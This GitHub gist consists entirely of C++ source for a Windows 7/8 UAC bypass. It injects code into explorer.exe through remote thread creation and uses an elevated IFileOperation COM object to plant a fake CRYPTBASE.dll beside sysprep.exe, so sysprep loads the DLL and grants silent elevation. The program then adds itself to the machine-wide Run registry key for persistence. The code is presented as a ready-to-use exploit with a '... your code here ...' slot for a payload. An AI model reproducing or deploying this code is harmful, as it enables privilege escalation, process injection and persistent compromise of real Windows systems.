Skip to content

Instantly share code, notes, and snippets.

@FernandoDoming
Created March 24, 2017 09:44
Show Gist options
  • Save FernandoDoming/4701de573ee8bfc4918cd6903890de41 to your computer and use it in GitHub Desktop.
Save FernandoDoming/4701de573ee8bfc4918cd6903890de41 to your computer and use it in GitHub Desktop.
#define _HAS_EXCEPTIONS 0
#define _CRT_SECURE_NO_WARNINGS
#include
#include
#include
#include
struct InjectArgs
{
// Functions
BOOL (WINAPI *FFreeLibrary)(HMODULE hLibModule);
HMODULE (WINAPI *FLoadLibrary)(LPCWSTR lpLibFileName);
FARPROC (WINAPI *FGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
BOOL (WINAPI *FCloseHandle)(HANDLE);
DWORD (WINAPI *FWaitForSingleObject)(HANDLE,DWORD);
// Static strings
wchar_t szSourceDll[MAX_PATH];
wchar_t szElevDir[MAX_PATH];
wchar_t szElevDll[MAX_PATH];
wchar_t szElevDllFull[MAX_PATH];
wchar_t szElevExeFull[MAX_PATH];
wchar_t szElevArgs[MAX_PATH];
wchar_t szEIFOMoniker[MAX_PATH]; // szElevatedIFileOperationMoniker
// some GUIDs
IID pIID_EIFO;
IID pIID_ShellItem2;
IID pIID_Unknown;
// Dll and import strings
wchar_t NameShell32[20];
wchar_t NameOle32[20];
char NameCoInitialize[20];
char NameCoUninitialize[20];
char NameCoGetObject[20];
char NameCoCreateInstance[20];
char NameSHCreateItemFromParsingName[30];
char NameShellExecuteExW[20];
// IMPORTANT: Allocating structures here (so we know where it was allocated)
SHELLEXECUTEINFO shinfo;
BIND_OPTS3 bo;
};
// important: error code here is passed back to original process (1 = success, 0 = failure)
static DWORD WINAPI RemoteCodeFunc(InjectArgs * Args)
{
// don't rely on any static data here as this function is copied alone into remote process! (we assume at least that kernel32 is at same address)
NTSTATUS Status = 0;
// Use an elevated FileOperation object to copy a file to a protected folder.
// If we're in a process that can do silent COM elevation then we can do this without any prompts.
HMODULE ModuleOle32 = Args->FLoadLibrary(Args->NameOle32);
HMODULE ModuleShell32 = Args->FLoadLibrary(Args->NameShell32);
if (!ModuleOle32 || !ModuleShell32)
return 0;
// Load the non-Kernel32.dll functions that we need.
HRESULT (WINAPI * FCoInitialize)(LPVOID pvReserved) = (HRESULT (WINAPI * )(LPVOID pvReserved))Args->FGetProcAddress(ModuleOle32, Args->NameCoInitialize);
void (WINAPI * FCoUninitialize)(void) = (void (WINAPI * )(void))Args->FGetProcAddress(ModuleOle32, Args->NameCoUninitialize);
HRESULT (WINAPI * FCoGetObject)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv) = (HRESULT (WINAPI * )(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv))Args->FGetProcAddress(ModuleOle32, Args->NameCoGetObject);
HRESULT (WINAPI * FCoCreateInstance)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv) = (HRESULT (WINAPI * )(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv))Args->FGetProcAddress(ModuleOle32, Args->NameCoCreateInstance);
HRESULT (WINAPI * FSHCreateItemFromParsingName)(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) = (HRESULT (WINAPI * )(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv))Args->FGetProcAddress(ModuleShell32, Args->NameSHCreateItemFromParsingName);
BOOL (WINAPI * FShellExecuteEx)(LPSHELLEXECUTEINFOW lpExecInfo) = (BOOL (WINAPI * )(LPSHELLEXECUTEINFOW lpExecInfo))Args->FGetProcAddress(ModuleShell32, Args->NameShellExecuteExW);
if (!FCoInitialize || !FCoUninitialize || !FCoGetObject || !FCoCreateInstance || !FSHCreateItemFromParsingName || !FShellExecuteEx ||
FCoInitialize(NULL) != S_OK)
return 0;
Args->bo.cbStruct = sizeof(BIND_OPTS3);
Args->bo.dwClassContext = CLSCTX_LOCAL_SERVER;
// For testing other COM objects/methods, start here.
IFileOperation *pFileOp = 0;
IShellItem *pSHISource = 0;
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
// This is a completely standard call to IFileOperation, if you ignore all the pArgs/func-pointer indirection.
if (FCoGetObject(Args->szEIFOMoniker, &Args->bo, Args->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)) == S_OK &&
pFileOp &&
pFileOp->SetOperationFlags(FOF_NOCONFIRMATION|FOF_SILENT|FOFX_SHOWELEVATIONPROMPT|FOFX_NOCOPYHOOKS|FOFX_REQUIREELEVATION|FOF_NOERRORUI) == S_OK && // FOF_NOERRORUI is important here to not show error messages, copying fails on guest (takes wrong path)
FSHCreateItemFromParsingName( Args->szSourceDll, NULL, Args->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHISource)) == S_OK &&
pSHISource &&
FSHCreateItemFromParsingName( Args->szElevDir, NULL, Args->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDestination)) == S_OK &&
pSHIDestination &&
pFileOp->CopyItem(pSHISource, pSHIDestination, Args->szElevDll, NULL) == S_OK &&
pFileOp->PerformOperations() == S_OK)
{
// Use ShellExecuteEx to launch the "part 2" target process. Again, a completely standard API call.
// (Note: Don't use CreateProcess as it seems not to do the auto-elevation stuff.)
Args->shinfo.cbSize = sizeof(SHELLEXECUTEINFO);
Args->shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
Args->shinfo.lpFile = Args->szElevExeFull;
Args->shinfo.lpParameters = Args->szElevArgs;
Args->shinfo.lpDirectory = Args->szElevDir;
Args->shinfo.nShow = SW_SHOW;
// update: we assume the cryptbase.dll deletes itself (no waiting for syspreps execution although it would be possible)
if ((Status = FShellExecuteEx(&Args->shinfo)))
{
Args->FCloseHandle(Args->shinfo.hProcess);
}
}
// clean-up
if (pSHIDelete) { pSHIDelete->Release(); }
if (pSHIDestination) { pSHIDestination->Release(); }
if (pSHISource) { pSHISource->Release(); }
if (pFileOp) { pFileOp->Release(); }
FCoUninitialize();
Args->FFreeLibrary(ModuleShell32);
Args->FFreeLibrary(ModuleOle32);
return Status;
}
// returns 1 when you can expect everything worked fine!
int AttemptOperation(bool bInject, HANDLE TargetProcess, const wchar_t *szPathToOurDll)
{
NTSTATUS Status = 0;
const BYTE * codeStartAdr = (BYTE *)RemoteCodeFunc;
const BYTE * codeEndAdr = (BYTE *)AttemptOperation;
if (codeStartAdr >= codeEndAdr) // ensure we don't copy crap
return 0;
// Here we define the target process and DLL for "part 2." This is an auto/silent-elevating process which isn't
// directly below System32 and which loads a DLL which is directly below System32 but isn't on the OS's "Known DLLs" list.
// If we copy our own DLL with the same name to the exe's folder then the exe will load our DLL instead of the real one.
// set up arguments
InjectArgs ia;
memset(&ia, 0, sizeof(ia));
ia.FFreeLibrary = FreeLibrary;
ia.FLoadLibrary = LoadLibrary;
ia.FGetProcAddress = GetProcAddress;
ia.FCloseHandle = CloseHandle;
ia.FWaitForSingleObject = WaitForSingleObject;
wcscpy(ia.NameShell32, L"shell32.dll");
wcscpy(ia.NameOle32, L"ole32.dll");
strcpy(ia.NameCoInitialize, "CoInitialize");
strcpy(ia.NameCoUninitialize, "CoUninitialize");
strcpy(ia.NameCoGetObject, "CoGetObject");
strcpy(ia.NameCoCreateInstance, "CoCreateInstance");
strcpy(ia.NameSHCreateItemFromParsingName, "SHCreateItemFromParsingName");
strcpy(ia.NameShellExecuteExW, "ShellExecuteExW");
wchar_t SystemDirectory[MAX_PATH];
if (!GetSystemDirectory(SystemDirectory, MAX_PATH))
return 0;
wcscpy(ia.szSourceDll, szPathToOurDll);
wcscpy(ia.szElevDir, SystemDirectory);
wcscat(ia.szElevDir, L"\\sysprep");
wcscpy(ia.szElevDll, L"CRYPTBASE.dll");
wcscpy(ia.szElevExeFull, SystemDirectory);
wcscat(ia.szElevExeFull, L"\\sysprep\\sysprep.exe");
wcscpy(ia.szEIFOMoniker, L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}");
memcpy(&ia.pIID_EIFO, &__uuidof(IFileOperation), sizeof(GUID));
memcpy(&ia.pIID_ShellItem2, &__uuidof(IShellItem2), sizeof(GUID));
memcpy(&ia.pIID_Unknown, &__uuidof(IUnknown), sizeof(GUID));
if (!bInject)
{
// Test code without remoting.
// This should result in a UAC prompt, if UAC is on at all and we haven't been launched as admin.
Status = RemoteCodeFunc(&ia);
}
else
{
// Test code with remoting.
// At least as of RC1 build 7100, with the default OS settings, this will run the specified command
// with elevation but without triggering a UAC prompt.
void * RemoteArgs = VirtualAllocEx(TargetProcess, 0, sizeof(ia), MEM_COMMIT, PAGE_READWRITE);
if (!RemoteArgs || !WriteProcessMemory(TargetProcess, RemoteArgs, &ia, sizeof(ia), NULL))
return 0;
void * RemoteCode = VirtualAllocEx(TargetProcess, 0, codeEndAdr - codeStartAdr, MEM_COMMIT, PAGE_EXECUTE_READ);
if (!RemoteCode || !WriteProcessMemory(TargetProcess, RemoteCode, RemoteCodeFunc, codeEndAdr - codeStartAdr, NULL))
return 0;
HANDLE hRemoteThread = CreateRemoteThread(TargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RemoteCode, RemoteArgs, 0, NULL);
if (!hRemoteThread)
return 0;
// intelligent logit to wait for the execution and grabbing the exit code
DWORD dwWaitRes = WaitForSingleObject(hRemoteThread, 40000);
if (dwWaitRes == WAIT_OBJECT_0)
GetExitCodeThread(hRemoteThread, (DWORD *)&Status);
CloseHandle(hRemoteThread);
}
return Status;
}
int UACBypass()
{
// Step 1: find explorer.exe process we can inject to (to-do: maybe using some other process?)
DWORD Processes[1024], BytesReturned;
if (!EnumProcesses(Processes, sizeof(Processes), &BytesReturned))
return 0;
HANDLE TargetProcess = NULL;
for (unsigned i = 0; i < BytesReturned / 4; i++)
{
if (Processes[i] != 0)
{
TargetProcess = OpenProcess(/*PROCESS_QUERY_INFORMATION | PROCESS_VM_READ*/PROCESS_ALL_ACCESS, FALSE, Processes[i]);
// Get the process name.
if (TargetProcess)
{
HMODULE hMod;
DWORD cbNeeded;
if (EnumProcessModules(TargetProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
wchar_t ProcessName[MAX_PATH];
GetModuleBaseName(TargetProcess, hMod, ProcessName, sizeof(ProcessName)/sizeof(TCHAR) );
if (_wcsicmp(ProcessName, L"explorer.exe") == 0)
break;
}
CloseHandle(TargetProcess);
TargetProcess = NULL;
}
}
}
if (!TargetProcess)
return 0;
// Step 2: Creating fake cryptbase.dll that is this exe with the IMAGE_FILE_DLL flag set in PE header
wchar_t SelfFileName[MAX_PATH];
if (!GetModuleFileNameW(NULL, SelfFileName, MAX_PATH))
{
CloseHandle(TargetProcess);
return 0;
}
wchar_t FakeCrytbase[MAX_PATH];
GetTempPathW(MAX_PATH, FakeCrytbase);
GetTempFileNameW(FakeCrytbase, L"tmp", 0, FakeCrytbase);
if (!CopyFile(SelfFileName, FakeCrytbase, 0))
{
CloseHandle(TargetProcess);
return 0;
}
HANDLE FakeFile = CreateFileW(FakeCrytbase, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (FakeFile == INVALID_HANDLE_VALUE)
{
CloseHandle(TargetProcess);
return 0;
}
DWORD NumberOfBytesRead;
BYTE ImageHeader[4096];
if (!ReadFile(FakeFile, ImageHeader, 4096, &NumberOfBytesRead, NULL))
{
CloseHandle(TargetProcess);
CloseHandle(FakeFile);
return 0;
}
PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)ImageHeader;
PIMAGE_NT_HEADERS old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(ImageHeader))[dos_header->e_lfanew];
// set the dll flag (IMAGE_FILE_DLL)
old_header->FileHeader.Characteristics |= IMAGE_FILE_DLL;
DWORD NumberOfBytesWritten;
if (SetFilePointer(FakeFile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER ||
!WriteFile(FakeFile, ImageHeader, 4096, &NumberOfBytesWritten, NULL))
{
CloseHandle(TargetProcess);
CloseHandle(FakeFile);
return 0;
}
CloseHandle(FakeFile);
// Step 3: Using the exploit
NTSTATUS Status = AttemptOperation(1, TargetProcess, FakeCrytbase);
CloseHandle(TargetProcess);
DeleteFile(FakeCrytbase);
// exit if we can assume that the elevation worked correctly, and this executable was started with auto-elevated rights
if (Status)
ExitProcess(1);
return 1;
}
BOOL IsUserElevatedAdmin()
{
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
PSID SecurityIdentifier;
if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &SecurityIdentifier))
return 0;
BOOL IsAdminMember;
if (!CheckTokenMembership(NULL, SecurityIdentifier, &IsAdminMember))
IsAdminMember = FALSE;
FreeSid(SecurityIdentifier);
return IsAdminMember;
}
int main()
{
OSVERSIONINFO VersionInfo;
VersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx(&VersionInfo);
// Windows 7, 8: Try injecting into auto-elevated process if admin and UAC is on default (prompts 2 times on guest with credential UI so you should add a check for guest)
if (VersionInfo.dwMajorVersion == 6 && (VersionInfo.dwMinorVersion == 1 || VersionInfo.dwMinorVersion == 2) && !IsUserElevatedAdmin())
UACBypass();
// ... your code here ...
HKEY hKey;
WCHAR szModule[MAX_PATH];
GetModuleFileName(NULL, szModule, MAX_PATH);
LONG err = RegCreateKeyEx(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (err == ERROR_SUCCESS) {
RegSetValueEx(hKey, TEXT("test"), 0, REG_SZ, (LPBYTE)szModule, MAX_PATH);
RegCloseKey(hKey);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment